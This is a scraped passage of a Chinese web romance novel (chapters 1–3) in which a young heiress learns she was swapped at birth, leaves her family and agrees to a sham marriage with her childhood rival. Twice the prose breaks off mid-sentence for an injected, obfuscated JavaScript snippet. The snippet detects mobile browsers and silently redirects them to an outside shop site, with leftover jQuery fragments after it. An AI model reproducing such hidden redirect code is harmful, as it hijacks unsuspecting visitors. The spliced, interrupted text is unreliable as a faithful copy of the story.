《破产千金嫁入豪门后》
1. 第 1 章
江月市,乍暖还寒的三月中旬,夜晚冷凉。
嘉康私立医院,五楼住院部。
白明珠手里提着她刚为母亲取来的装有母亲衣物用品的LV旅行袋,低头站在套间病房的外间,垂睫听着里面传来的对话,眼睫不住地脆弱颤动,眼眶红着,鼻尖也红着。
她发色是热烈的火焰红,下午刚由发型师精心打理过,她最喜欢的大波浪卷发,色泽浓艳如火,配上她平时的明媚笑容,远远瞧着就让人觉得她一定是性情浓烈艳丽如夏的热情的人。
此时这火焰发色却衬得她面色愈加苍白,好似有一桶冰水从她脑顶浇下来,将她整个人都熄灭了,冷得她哆嗦打颤。
“我不管,亲女儿我要,明珠我也要,明珠是我宠了二十二年的宝贝,没有血缘关系又怎么了,她在我眼里她就是我亲生女儿!”
“老婆你你别哭,你别激动,你这刚醒,一会儿又哭晕过去了……”
“白兆林我告诉你,姓秦的那两口子要是来我面前嚷嚷着跟我抢明珠,我就死给你看!他们那么虐待意宁,他们怎么可能还会对明珠好!他们还那么穷,我不要我的宝贝明珠跟他们回去吃苦……白兆林你给他们钱,你去给他们钱,公司现在不是还没破产吗,你把钱都给他们,我宁可不要钱了,我要意宁,我要明珠,我只要她们……你个大老爷们你哭什么哭,你把秦家那两口子解决了再哭!你把烟也给我掐了,你不是戒烟二十多年了吗!”
“思眠,你冷静一点,要,两个孩子咱们都要!但是思眠,你想想,意宁这些年受了那么多的苦,明珠在家的话,意宁她可能不愿意和我们回家……你先别瞪我,别打我,老婆,我也宠明珠,她也是我的宝贝女儿啊,这么多年我多疼爱她你还不知道吗,我不是不让明珠回家,我们现在要解决怎么让两个孩子心里都舒服些……”
母亲的哭声,父亲的哽咽,不间断地从里面传来,呜呜咽咽的成了明珠永远忘不掉的记忆。
明珠悄无声息地转身离开房间,轻手轻脚地虚掩上刚刚未关严的门,不让他们发现她来过。
病房的走廊里,明亮的灯光晃得明珠头晕目眩,有无数个刺目的光点飞向她的双眼,让她摇摇欲坠。
明珠竭力稳住发晃的身体,把她包里的两把车钥匙和爸妈给她的副卡放进旅行袋里,还有戴的钻石耳环项链手镯手表戒指也都摘下来放进去,她不能再用爸妈的一分钱了。
明珠觉得手脚麻木,耳朵发胀,头也有些痛,好像有东西要从她体内冲出去,要冲破她每一寸皮肤。那东西好像是她身体里和爸妈没有关系的血液。
他们那样疼爱她。
明珠擦去眼泪,可眼泪总也擦不完,她仰头用力眨眼,反复深呼吸平复心情,终于眼泪不再流,戴上墨镜,按两下手机,走向护士站。
“哈喽,”明珠趴在高高的桌上看向里面的护士,声音已恢复如常,明媚笑问,“我是513房的家属,请问一下——”
护士一直在电脑前低头打字,闻言抬头,立刻认了出来:“白小姐,您取完东西回来了,有什么事吗?”
白小姐身材高挑,肤白貌美,红发明艳,任谁都会一眼就记住。
明珠手托腮笑得甜甜的:“是啊回来啦,但我一出电梯就搞不清方向了,迷迷糊糊地转了一圈都没找到,美女姐姐,请问513病房是在哪边?”
护士站起来微笑指右边:“在那边,白小姐,右手边第三间,用我带您过去吗?”
是VIP病房,里面的女患者傍晚时因晕倒住院,其丈夫办的入院,听主任说是明珠国际旅行社的老板夫妻。
明珠摇头:“不用啦,我自己过去就行,谢谢姐姐。”
白小姐的一把柔嗓又甜又动听,像一块甜糖喂进人嘴里,甜人的心,护士愈发热情,笑得眯眼:“白小姐客气了。”
明珠提着旅行袋转身,才转了个身手机就响了,停住接听,而后忽然高声惊讶:“让我进组帮忙摄影?车都开到医院了?这么急?可我没拿设备啊,喂?喂?”
明珠把手机调成飞行模式,拎起旅行袋放到高台上,着急又抱歉地说:“护士姐姐,等您忙完您手上的工作,您能帮我把我妈今晚要用的东西送过去吗?我这边着急要走,手机还没电了,还得麻烦您帮我和他们说一声,说我着急进组帮忙拍片,可能要两三个月才回来,让他们放心,不用管我,我要是进去和他们说,一时半会儿就走不了了。麻烦护士姐姐了,谢谢姐姐。”
“啊,没事没事,白小姐客气了……”
明珠感激地点头微笑,连声道谢,红唇皓齿,明丽万千,看呆了护士。
明珠眼泪要绷不住了,等不及电梯,转身走向安全通道。
护士呆呆地看着白小姐的背影,红色卷发在白色风衣上大幅度地拍打,长风衣下阔步而行的两条小腿在灯光下白到反光,脚上穿的是一尘不染的白色运动鞋,昂首阔步,风风火火。
明珠已经消失了好一会儿,护士方回过神,拍了拍胸脯,刚和这位明媚大美女短暂地交谈了两句,竟弄得她心跳怦怦的,她性取向明明是异性呀。
明珠迈着楼梯一路跑下楼,有两次险些踩空崴脚,不回头地冲出医院大门,拦了辆出租车坐进去。
“美女去哪儿啊?”司机愉快地问。
明珠低头捂嘴,再忍不住地哭出声:“快走……”
司机惊得回头。
但司机又很有经验了,同情地叹气:“哎,节哀吧,生死都是命。美女现在是要去殡仪馆吗?南山路殡仪馆?”
明珠心很疼,哭得弯腰:“我不去殡仪馆,随您逛,快走——”
·
四十七分钟后,出租车停在容光天镜庄园附近。
司机问明珠要去哪散心,明珠不知不觉就指挥着司机来到了这里。
明珠打开车窗,外面冷凉的空气吹进来,堵塞的心情有了片刻缓解。
明珠看向右边盛开的粉色樱花树,顺着樱花树再往里面看,是围得很高的红墙,红墙里就是容光天镜庄园。
容光天镜,这名字听着就带着一种自视甚高的傲慢,和容曌的名字一样,容曌的曌是武则天的曌。
容光天镜是容曌的家,容曌毕业回国后就自己住在这里了。
明珠看着樱花想容曌。
容曌是容科集团的大小姐,从小到大一直压她一头,小时候是考试压她,后来她们长大分开了,她去美国读书,容曌去英国读书,但容曌在英国读的是三年制的本科和一年制的硕士,所以同样四年结束,她是本科学历,容曌已经是硕士学历,又压了她一头。
大学毕业一年多,容曌回国成为容科集团的容经理,手里好像带着一个大项目,而她还没有过工作经验,一事无成。
明珠忽然别扭地抬了抬屁股,调整|风衣的衣摆,往前只坐一个边缘。
她从小到大都没坐过出租车,现在闻着出租车里的难闻味道,想象这坐垫上刚坐过抽烟喝酒的臭男人,她在巴黎买的这件白色风衣很可能已经沾了脏污,悲从中起,对容曌的妒意又升一级。
尤记得那次她又没考过容曌,又一次屈居全年第二,容曌擦过她肩膀时停步,不轻不重地落下一句:“找我补课的话,或许能追上我。”
简直奇耻大辱。
那时她就发誓她永远不可能对容曌低头。
而且她上学早了一年又跳级了一年,比容曌小两岁输给容曌是大脑发育的问题,不是她的问题。
但今时不同往日了,她没有人可以找了。
好朋友姜姜在国外旅行,她不想影响姜姜的旅行心情,找姜姜也不是长久之计。
她需要住处,可她没有钱住酒店,她微信支付宝绑定的是爸妈信用卡的副卡,她不能再花爸妈的钱了。
而且刷爸妈的钱住酒店会被爸妈找到,她不想让他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708781|189222||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们为难,不想成为他们的负担,她想让他们专心地去找他们的亲生女儿。
明珠抓了抓胸口缓解心里的刺痛感和眼眶的泪意。
总之现在只有容曌可以帮她了。
她需要一个住处。
虽然容曌性格高傲冷漠,但她只要脸皮厚一点,对容曌低低头,应该就可以顺利地蹭吃蹭喝借住一段时间,而且她住在容曌这里,就算爸妈来找她,她也可以拒绝爸妈不回去,让爸妈放心她继续住在容曌家。
从小爸妈就在她面前夸过容曌无数次,爸妈都信任容曌。
明珠想通了,从包里拿出镜子补妆,不能让容曌看出她哭过,把泪痕补了,再把唇色涂红,她可以低头,但她要美美地对容曌低头。
补好妆,明珠让司机师傅开去容光天镜正门,到了门口,司机师傅按开车窗纳闷:“这大豪宅怎么个事儿,大晚上的,这院门就这么敞着啊?也不怕进贼?”
明珠诧异抬头,大门竟然真敞着,不怕进去坏人吗?院门感应器坏了?还是发生什么事了?
再往里面看,容曌家五层别墅灯光全开,亮如白昼,院子里樱花盛开,宛若童话世界。
“师傅您开进去吧,这是我朋友家,没事,不是私闯民宅。”
“你朋友啊?哎哟,真有钱,跟樱花公园似的,那我可开进去了啊?”
“您开,不收您门票钱。”明珠开玩笑。
司机笑了一声,慢悠悠地边赏花边开进去。
明珠心里其实很打鼓,她不知道会不会突然出现保安拦住他们,她没有容曌的微信,也不记得容曌的手机号,被拦住难解释。
不过万一没人拦呢?所以先开进去,被拦了再说。
还真就顺利开进去了,没有人拦!
出租车在别墅前停稳,明珠下车说:“师傅您别走,在这儿等我一会儿,我去跟我朋友说两句话就回来。”
不等师傅答应,明珠甩着一头红发跑去按门铃。
等了十来秒,没人来开门,明珠去落地窗那边往里面看,但落地窗里拉着灰色窗帘,她看不到里面的情况。
又等了十来秒,明珠听到咔嗒一声门开响声,她以为是容曌家的保姆阿姨,立即跑过去扬笑挥手热情地喊:“阿姨好,我是容容的朋——”
话未说完,明珠看到从门里迈出来一条穿着浴袍的长腿。
皮肤白皙,水嫩,穿着白色拖鞋,第二脚趾上戴着一枚精致的红宝石趾戒。
明珠都不用抬头看就知道这长腿是谁的,忙把人推回去,以脚抵着门缝,低着头看腿说:“你怎么穿这身就开门了,容容你借我点钱,打车费六十三,司机还在等我。”
这条长腿收了回去,门也关上了。
片刻后门开,递出来一张崭新一百块:“不用找了。”
清冷的嗓音,淡淡的情绪。
明珠接了钱就跑。
明珠给司机师傅付了钱,弯腰低声问师傅有没有零钱,师傅说没有,要把零钱扫给她,明珠手机不想开机联网,怕接到爸妈哭着找她的电话,遗憾地说不用找了,目送司机离开。
待出租车走了,明珠跑回门口,她刚要伸手开门,就见门被一只穿着浴袍宽袖的手臂推开。
手指纤柔修长,腕上戴着色泽清透的白玉手镯,腕骨的肤色比白玉还白,十分养尊处优的一只漂亮的手。
显然对方刚洗过澡,有浓郁的玫瑰香气从对方身上飘过来,香得明珠鼻子痒痒的,又香又湿又热。
明珠没再继续抬头往上看,她对容曌的脸太熟悉了,不必仔细看,回头看容曌家敞开的院门说:“对了容容,你家院门怎么不关啊?我刚刚坐出租车竟然就直接进来了,这也太不安全了。”
容曌姿态散漫地倚着门,湿发垂肩,漫不经心地看着眼前明艳的红发背影,嗓音悠悠冷淡:“是么,可能门坏了吧。这么晚了怎么还戴着墨镜,有事?”
2. 求容容
能屈能伸的明珠望着院门顿了几秒,缓缓回头,在容曌面前低下头,轻声说:“容容,我没有地方住了,你看在我们从小也算是一起长大的份上,你可以收留我几晚,让我借住几晚吗?就几晚,我求你了,好不好?”
她声音很轻,透着可怜,还有些哽咽。
她身后是满院子的浪漫粉色樱花,可她发色很红,唇色很红,比院子里所有的樱花都要艳丽。
容曌看着眼前的白明珠,忽然觉得白明珠很像一个正在燃烧的火把,而这火把的火焰在越烧越弱,快要熄灭。
白明珠平常不会趾高气扬,但也绝对不是一个会压低下巴对人低头的人,总是穿着高跟鞋扬着下巴笑着。
明珠等着容曌的回应,没等到,小幅度地挑眉抬头看。
容曌身穿宽松浴袍倚门,双手插着浴袍兜,深V领口简直快要低到胃了,白皙柔软几乎要倾泻而出。
明珠只看到脖子就没有再往上看。
她从没见过像容曌这样的人,外表看着十分清冷,偏偏又处处透露着风情与性感。
容曌的湿发都披在身后,但有一缕发丝垂在前面,在容曌的锁骨处坠下一滴晶莹水珠,沿着容曌白皙无瑕的肌肤一路向下流淌过去。
明珠顺着那滴水珠垂眼,忽然发觉容曌的胸好像也比她的大……竟然又压她一头!
终于,对面给了回应。
“为什么会没地方住了?和家里吵架了?”
明珠沉默。
她无法把“我不是我爸妈的亲生女儿”这句话说出口,因为思绪只要稍微往那边倾斜一点,她就心脏阵阵收缩难受,随时都会流下泪。
明珠假意摆弄风衣的衣摆,边将脸压得更低,忍住鼻腔的酸意。
想些什么事转移注意力,对了,容曌问她为什么没地方住了。
明珠摇头哽咽:“我没有和家里吵架,就是我……炒股赔了,所以我没有钱了,也不敢回家,容容,我只能找你了……”
对面又没有了声音。
明珠等了一会儿,再次悄悄抬眼,这次看向的是容曌的脸,想要看看容曌的表情。
容曌正在看她身后,神情难辨。
容曌平时冷白的肤色此时泛粉,大约是因为刚沐浴过,粉得似满院子盛开的樱花粉。
容曌的眸子是猫眼一样清澈通透的琥珀色,门灯和庭院灯的灯光落进容曌的眼里,仿佛闪着星光。
好美,明珠看呆了眼。
她不得不在心里悄悄承认,她来找容曌除了因为容曌有钱,很大一个原因是容曌很漂亮,尤其容曌的这双眼睛。
像清透的琥珀放在洁白无瑕的雪地上,初晨的第一缕阳光照过去,晶莹剔透。
忽然她听到容曌的声音:“抱歉,妹妹,不方便。”
明珠:“?”
这容曌还是人吗?不是人!绝对不是人!她都这么低声下气了!
容曌竟然还叫她妹妹!每次容曌叫她妹妹都让她觉得自己又被容曌压了一头,容曌连来到这个世界的时间都比她早!
“我家教严。”容曌又淡淡说道。
明珠:“……”
明珠气得想骂街,谁家教不严啊?这女的阴阳怪气地骂谁呢?
再说让朋友留宿怎么还扯上家教了?
明珠忽然就想起初一那年容曌对她说的话——“白同学,你裙子太短了。”
家教严为什么还从小就爱多管闲事?
容曌不动声色地歪头看明珠抽动着的、想要骂她的嘴角,不疾不徐地又道:“你和我领证,我才能收留你,不然我们不清不白的不合……”
“老婆!”明珠立即打断容曌,想都不想地就兴奋地张开双手用力地抱了上去:“容容姐姐你现在就是我亲亲老婆了!我们现在就去领证!谁不去谁是大臭虫!”
开玩笑,这么有钱的大腿谁不抱!
什么是机遇,这就是机遇,一辈子的荣华富贵必须抱紧了!
容曌叫她一句妹妹怎么了,容曌愿意叫她一辈子妹妹都行,她又不会少块肉!
容曌眉心微蹙,明珠抱得太紧了,淡淡推开明珠的腰:“民政局现在已经关门了。”
“那明天去,明天一早就去,我带身份证了,随时可以领证,容容你那边找律师拟婚前协议?我什么都不要,有吃有住就行了。”明珠被推开后又热情地双手搂上容曌的胳膊,抬着脸,迫不及待地和容曌商量细节。
她知道容曌不是信口开河的人,容曌突然说出这话,肯定是容曌爸妈催容曌催急了,容曌想要找个协议假结婚的人。
估计容曌刚刚那两次的沉默,就是在思量她这个刚好送上门来的合作对象是否适合合作。
权衡利弊后觉得她是最佳人选。
太好了,一切都是最完美的刚刚好。
明珠表达立场:“容容我知道你是要我配合你对你家人演戏,你放心,我保证不喜欢你,不给你造成困扰,我只想有个住处,以后你想离婚了就随时和我说,我保证不纠缠你。”
容曌呼吸微沉。
——我保证不喜欢你。
容曌声音冷了两分:“我给你住处,你陪我演戏,各取所需,互不打扰。”
明珠眉开眼笑:“好!”
容曌忽然觉得头疼,太阳穴突突地跳。
明珠偏偏还笑得更灿烂了。
容曌淡淡地抽开被明珠抱得紧贴明珠胸的手臂,侧身让路:“你先进来吧。”
明珠立刻撩着红发迈进去,站在门口嗓音清亮地说:“容容你说你需要我做什么吧,我肯定百分百全都配合。”
容曌说:“我需要你先让让。”
明珠:“……”
明珠螃蟹步横着往侧边让开两步,眼巴巴地看容曌。
容曌侧身关上门,随手按下院门的关门键。
院门反应灵敏地合上,咔嗒一声,牢牢锁死。
·
容曌邀请明珠进门,明珠认识了来到容曌家见到的第一位阿姨。
阿姨年约四十,身材清瘦,长发挽着,戴着眼镜,笑容和蔼。
“明珠,这位是管家阿姨,”容曌介绍,“阿姨,这位是白明珠,你叫她明珠就好,我未婚妻。”
管桐瞳孔地震。
白明珠?
明珠国际旅行社白兆林的女儿?
这是小姐请来应对催婚的吗?不然怎么都没听说小姐谈恋爱就直接有未婚妻了?
但管桐保持着专业的和蔼微笑:“明珠小姐您好,以后有什么需求,请随时和我说。”
明珠也有些瞳孔地震。
她这就迅速地上岗成为容曌的未婚妻了?容曌都被家里催成这样了吗?
明珠扬笑,笑容明媚,不过她没摘墨镜:“阿姨您好,我眼睛有一点发炎了,平时有点在意形象,眼睛好了再把墨镜摘下来。”
管桐立刻关心:“明珠小姐看过医生了吗,医生给开药了吗,需要约医生现在过来吗?”
明珠微笑从容:“看过了,没事,包里有眼药水,滴两天就好了,阿姨不用担心。”
容曌介绍完毕,让管家阿姨去忙,她带明珠步行上楼,边道:“管家阿姨叫管桐,梧桐树的桐,她是我爸妈那边的人,所以需要你今晚开始和我住在同一个房间,不然家里阿姨打扫客卧会被管阿姨察觉不对劲,介意吗?”
明珠立刻用行动表示不介意,挽上容曌的胳膊:“当然没问题。”
却被容曌又一次抽开了手:“还没领证,妹妹,这不合适。”
明珠:“……”
那没领证就同居怎么就合适了?
自然,明珠是不敢表现出来的,先厚脸皮地忍了:“好的,我会注意的。”
容曌房间在三楼,走到门口时,容曌握着门把手侧头看向明珠,琥珀色的眼眸没有半点波澜:“我出柜得早,没听说你喜欢女生,白明珠,你确定明天要和我去领证吗?”
明珠记得同性婚姻合法是在她们中考那年颁布的,容曌是在高一出柜的,那天有学长对容曌弹吉他送花告白,容曌当场出柜直言自己不喜欢男生,只喜欢女生。
或许在合法后再说出柜这个词已经不太合适,但大概是这个意思。
明珠为了抱大腿,她也坦诚:“我没喜欢过谁,所以我也不知道我性取向。但好像谁喜欢我,我就不喜欢谁,以前那些追我的男生女生我都不喜欢,网上说这个好像是叫性单恋,回避型依恋风格……可能是这样吧。”
容曌:“……”
——谁喜欢我,我就不喜欢谁。
容曌侧头按了一下太阳穴。
明珠看容曌好像突然头痛的样子,意识到自己好像太坦诚了,担心容曌觉得她感情观有毛病,怕容曌反悔,立即又一次抱上了容曌的胳膊:“不过这些都不重要!容容姐姐你看,你不喜欢我,我也不喜欢你,我们天生一对,绝配!”
容曌垂睫看地面,呼吸又缓又沉。
明珠担心容曌以为她恐同,她又把脸靠到容曌肩上,弯着红唇抬眼看容曌,嘴甜道:“谢谢容容收留我给我住处,容容你又漂亮又聪明又善良,你真是独一无二天下最好的容容。”
容曌眼皮轻跳,够能忽悠的,半点没信明珠的嘴甜忽悠,第三次抽开了手臂,推开门说:“出租车上味道不好闻,你先去洗澡,浴室在那边,衣服都脱在脏衣篓里,阿姨会洗,我去一楼看书。”
明珠听出了容曌的嫌弃,其实她自己也嫌弃,先忍了。
“好的容容,一会儿见。”明珠愉悦挥手笑。
容曌目光扫过明珠笑得明媚的唇瓣,转身下楼。
关上门,明珠在容
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708782|189222||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
曌的卧室里大致看了一下,卧室衣帽间浴室都很大,浴室里除了有入户温泉大泡池,还有一个桑拿房。
想泡温泉,想蒸桑拿。
但她决定这次只用花洒洗澡,以后和容曌熟悉了再进阶吧,不然怪冒昧的。
明珠边洗边琢磨不知道容曌需要她配合到什么程度,应该就是去容家叔叔阿姨那里秀恩爱吧?平时就把她养在这里,有聚餐宴会的时候带上她?应该不需要婚后亲密行为吧?
明珠又想,容曌的趾戒真好看,玉镯也好看,想戴,她这么漂亮,她戴肯定也好看。
明珠其实有很多事情要去想,但她不能想,想了会情绪失控,眼睛又要哭红,她想暂时逃避两晚。
·
一楼中岛台。
容曌吹好头发后,拿起手机扔到中岛台上,戴上手套,抽出刀架上光泽锋利的钼钒钢长刃切片刀,揭开火腿上的盖膜和油脂,优雅地片切火腿,切好后在盘中摆盘。
这火腿是西班牙伊比利亚火腿,入口即化的口感,鲜香软嫩。
明珠洗完澡后可能会饿。
贺禅的微信忽然弹了出来:「你听说了吗,明珠不见了,明珠爸妈在找明珠。」
容曌按了两下手机:「听说了。」
贺禅:「啊?你听说了,你听谁说的?」
容曌引用贺禅刚刚发来的话:「你。」
贺禅:「……」
贺禅发来了语音,自顾自地说:「听说明珠不是白叔邵姨亲生的,明珠才走的,还听说明珠亲生父母不是什么好人,对他们养的那孩子又打又骂的,你说这事也太让人接受不了了,明珠肯定天都塌了,不知道她会躲去哪里,家都没有了,我这边还联系不上姜姜,明珠能联系你吗,算了,明珠肯定不会联系你,你俩上学的时候就不对付,她联系我都不会联系你,我帮忙去酒吧找找吧,你去吗。」
容曌听到“她联系我都不会联系你”这句话时,眉微抬,回复:「不去,找到了告诉我一声。」
贺禅:「……你真冷血。」
容曌:「。」
容曌将火腿肉摆盘装好,洗了手,上楼到衣帽间里给明珠找了一套衣服放在床边。
明珠还没有洗完,浴室里有水声。
容曌倚墙听浴室里的声响,仔细听,没有听到哭声。
思量片刻,容曌下楼在酒柜里拿了瓶酒出来。
明珠喜欢喝酒。
容曌慢条斯理地切开瓶封锡帽,用螺旋海马刀起开酒,倒出来醒酒,发信息给管家阿姨:「阿姨,明珠来家里的事,别和任何人说。」
容曌:「阿姨还没说吧?」
管桐正在犹豫要不要把明珠小姐来家里的事告诉给容先生纪小姐。
她有很多微信群,其中有一个微信群总是会发布本地最新消息八卦,她看到了白家的事,说白家正在满市找女儿,白风衣,红卷发,还有人说听说女儿不是亲生的,白家现在很着急,还发了悬赏金。
管桐正思量着,这时收到容小姐微信,立即回道:「没说,小姐放心。」
·
明珠洗完澡,在浴室里用容曌的护肤品护了肤。
明珠护肤的时候一点都马虎不得,上上下下仔仔细细地护了肤才穿着浴袍出来。
出来后看到床上放着的一次性白色内衣裤和淡粉色真丝睡衣睡裤,想到刚刚认识的笑容和蔼的管家阿姨,会心一笑。
睡衣睡裤应该是容曌的,衣服上有玫瑰香气,明珠穿上衣服后照镜子,睡衣宽松,她穿着还不错,但她不太喜欢,还是更喜欢红色睡裙,会衬得她肤色更白嫩。
明珠继续照镜子,眼睛已经不再通红,可她思绪不自觉地忽然就转弯想到了爸妈,眼睛瞬间又变红。
她忙低下头,咬住嘴唇,想容曌,想容曌刚刚好几次抽开手臂嫌弃她的态度,心情总算不再酸涩揪痛,取而代之的是小气愤。
明珠情绪稳定了,推门下楼去找容曌聊领证的事。
她已经说服了自己,她不想吃身体上的苦,就得在容曌家夹着尾巴做人,不过容曌其实也不会打压她,因为容曌总是把她当空气,所以只要她稍微对容曌低低头,哄哄容曌,她就会过得很轻松。
从小被宠到大一点苦都吃不了的明珠只想抱着容曌的大腿走人生捷径,上班太累了,她不想上班,只想在容曌家做米虫。
明珠下到一楼,脚步微缓。
客厅沙发那边只亮着一盏阅读灯,容曌戴着金丝边眼镜,穿着一身深V领蕾丝边的裸色吊带睡裙,双腿随意交叠,优雅地端坐在沙发一端,她左手拿着书,右手握着一支玫瑰金色的钢笔,在书上画了两道波浪,茶几上有一杯红酒,环绕式的蓝调音乐在灯光昏暗的客厅里轻缓流淌。
容曌没抬头,清冷的嗓音却飘了过来:“洗完了?过来坐。”
3. 陪喝酒
明珠在昏暗灯光下走向白色沙发。
容曌坐的是长沙发的一端,明珠选择靠近容曌这一端的单人沙发上坐下,挨得近一点。
明珠一直没和容曌做过同班同学,总是隔壁班,现在坐得这么近,闻着容曌身上的玫瑰香,场景明明不同,却有种和容曌坐了同桌似的错觉。
容曌总是和贺禅做同桌,不知道容曌上学的时候是不是也这么香,贺禅可真幸福。
明珠板板正正地坐好,余光悄悄瞥了眼容曌的红酒,她本来还不渴,看到红酒后突然就渴了。
明珠清了清嗓,看着红酒说:“容容,我都不知道,你平时喜欢喝红酒啊。”
容曌的侧颜在阅读灯下白皙清透:“给你准备的。”
明珠:“?!”
明珠惊喜抬头。
容曌从书中抬眼,正对上明珠的惊喜目光,明珠已经摘了墨镜,眼眶不再发红,但仍有轻微的肿。
有些传闻已经先从明珠二叔那边传了过来,所以明珠刚来时,在门口转头间,她已经在明珠墨镜的侧边看到了明珠发红的眼睛,知道明珠眼睛不是发炎。
明珠突然被容曌盯着看,以为自己眼睛不对劲,避开视线看向红酒,搓着小手期待地说:“给我准备的?容容你人也太好了,太贴心了,我今晚正想喝点酒呢。”
容曌:“嗯。”
容曌的视线很快地从明珠脸上向下掠过。
刚洗完澡的明珠的双颊透着水嫩的粉,叫人想到被露水润了的花骨朵儿,此时这朵花骨朵儿笑得眉眼都开了花儿,让人看不出刚被霜打过。
红彤彤的卷发披肩,给她黑白灰的客厅添加了明亮的活力。
她给明珠准备的淡粉色的真丝睡衣,不知是明珠犯懒还是习惯,上面少系了一粒扣子,领口很松,里面粉白的肌肤在领口若隐若现,身上散发着和她同款的玫瑰香气。
容曌略微倾身,修长的食中两指夹着盛酒的高脚杯推向明珠:“不是喜欢和姜姜在法国酒庄品酒吗,这是贺禅在你和姜姜常去的那一家法国庄园带回来的。GSM混酿,单宁柔和,果香很浓,大概适合你,尝尝。”
明珠立刻拿起酒杯摇晃轻闻,果香味当真很浓,也很熟悉,让她想起了她和姜姜漫步南法时的悠闲时光。
明珠正要品尝,忽然迟疑:“为什么请我喝酒?”
容曌是容耀集团千金独生女,用的一切东西都是上上等,贺禅给容曌带酒,带的自然不是便宜酒。
虽然容曌出手阔绰很正常,但她和容曌真正的交集并不多,在她眼里容曌可是她的死对头。
给她住处,还请她喝酒,好像狐狸在给鸡拜年……容曌家里催婚的那些长辈很难对付吗?
容曌声音清冷缓慢,常常给人一种慢条斯理的疏离:“待客之礼,客人喜欢喝什么,主人就招待什么,有人喜欢喝茶,有人喜欢喝酒……”
容曌话锋忽然一转,琥珀色的眸子看过来:“放心喝,没给你下药。”
明珠:“……”
她也没有那个意思,听着好像她以小人之心度君子之腹似的,她就是有一小丢丢怀疑而已。
明珠十分嘴甜识大体:“下药我也喝,谢谢主……谢谢容容姐姐。”
主什么?容曌视线微顿,从第一行重新看起:“慢慢喝,喝完再谈。”
“好。”
明珠双手捧着酒,不自觉地已经放松身体,双脚拿到了沙发上,像正在自己家沙发里懒懒地斜窝着,手指斜斜插入头发撩了两下,香气随之飘动,撑着侧额品酒。
她这一晚太紧绷了,或者说这三天都很紧绷。
她是三天前被爸妈叫回国的,落地后睡了一觉起来,爸给她讲了一个故事,说南俣市有一个女孩去献血,因血型不同得知自己不是父母的亲生女儿,那女孩报警找亲人,警方仔细问询女孩父母,确定非拐卖,最后警方帮忙查到女孩出生时的医院,怀疑是出生时抱错了,辗转联系到这里,通知爸妈去测DNA……那女孩叫秦意宁,是爸妈的亲生女儿。
爸和她说这些话的时候,爸妈都在哭,她也在哭,她觉得荒唐,觉得恐惧,可她还是给了爸妈头发唾液样品,让爸妈去测。
今晚出了结果,她不是爸妈的女儿,是秦家的女儿,爸把结果告诉她和妈后,妈哭得晕倒在家里,她和爸一起把妈送进医院。
之后她回家给妈取衣服,回到医院偷听到爸妈的谈话,再之后,她就来了容曌家。
明珠不敢细想这些,也不愿回想这些,此时只想在容曌家里舒舒服服地喝酒。
第一口酒进入口腔,黑加仑黑莓的水果味道甜香浓郁,带了一点辛辣感,甜爽又饱满,明珠舒服得脚趾都缩了起来。
容曌:“好喝吗?”
“好喝,”明珠感慨,“不愧是贺禅抄我的品位,真不错。”
一道轻翻书页声回应她:“白小姐倒会夸你自己。”
明珠晃着酒杯笑出来:“还行吧。”
嘴上说着还行,乐得好似要摇起尾巴了。
明珠知道容曌不怎么喝酒,就自顾自地喝酒,没让酒。
可话说回来,贺禅应该知道容曌不怎么喝酒啊,为什么还给容曌带酒?
不管了,明珠继续喝酒,接着尝到了黑李子的酸和黑胡椒肉豆蔻香料的香,以及橡木桶的淡淡烟熏味,这些酸甜辛辣完美地融合到了一块儿,单宁丰富立体,余味久久萦绕舌尖。
她确实更喜欢GSM混酿,有夏日的活力和热意,像她,赤霞珠混酿就太重了些,比如拉菲古堡,单宁太强了,像守卫森严的贵族城堡,像容曌。
明珠悄悄砸吧嘴,浑身惬意。
为什么那么多人都喜欢喝酒,因为可以借酒消愁,逃避现实,她现在就想逃避。
没想到容曌正好请她喝酒。
明珠喝得很开心,亲自选酒的容曌的余光将明珠眯眸笑的神情收入眼底,心下也稍安了,平时的快乐花蝴蝶明珠小姐总算不再愁眉苦脸。
容曌偏头轻翻书页:“饿了的话,中岛台上有火腿坚果。”
明珠立即起身去西厨中岛,她不知道在哪,但多走两步就看到了,台上除了有火腿坚果,还有披萨水果。
“哇,这火腿闻着就好香。”明珠在中岛那边喊。
容曌唇角轻轻勾了下:“嗯。”
明珠一样挑了一点,拼了一盘,拿着叉子坐回来配着红酒吃,越吃越香,听在容曌的耳朵里,觉得满书的文字好像写上了香字。
“好吃吗?”
“好吃,正有点饿呢。”
“嗯。”
容曌随意地在书上划线。
明珠边吃边喝边往容曌那边看了一眼,是英文书,又悄悄偷瞄容曌清冷的侧影,觉得容曌好像一点都没有变,还是她经过隔壁班时随意瞥见的那位气场孤傲的清冷学霸。
不过那时候的容曌穿着整洁的校服,现在容曌穿着深V领蕾丝边的裸色吊带睡裙,竟有如此性感慵懒的另一面……
明珠继续舒服惬意地吃东西喝酒。
当然,虽然明珠很舒服惬意,她也没忘了要和容曌谈事,吃饱喝足,酒也快见了底,明珠放下红酒,趴在沙发扶手上往容曌那边探身。
明珠小声问:“容容,领证后就只是需要我偶尔陪你回去演戏吗,还需要我为你做些别的事吗,我需要背你家集团资料或是背你和你家人的喜好吗,我用学心理学应对他们吗?我需要参加酒会或是经常去陪长辈们聊天吗?”
她小声问,是因为怕管家阿姨听到。
但她凑得太近,酒香体香都飘了过来。
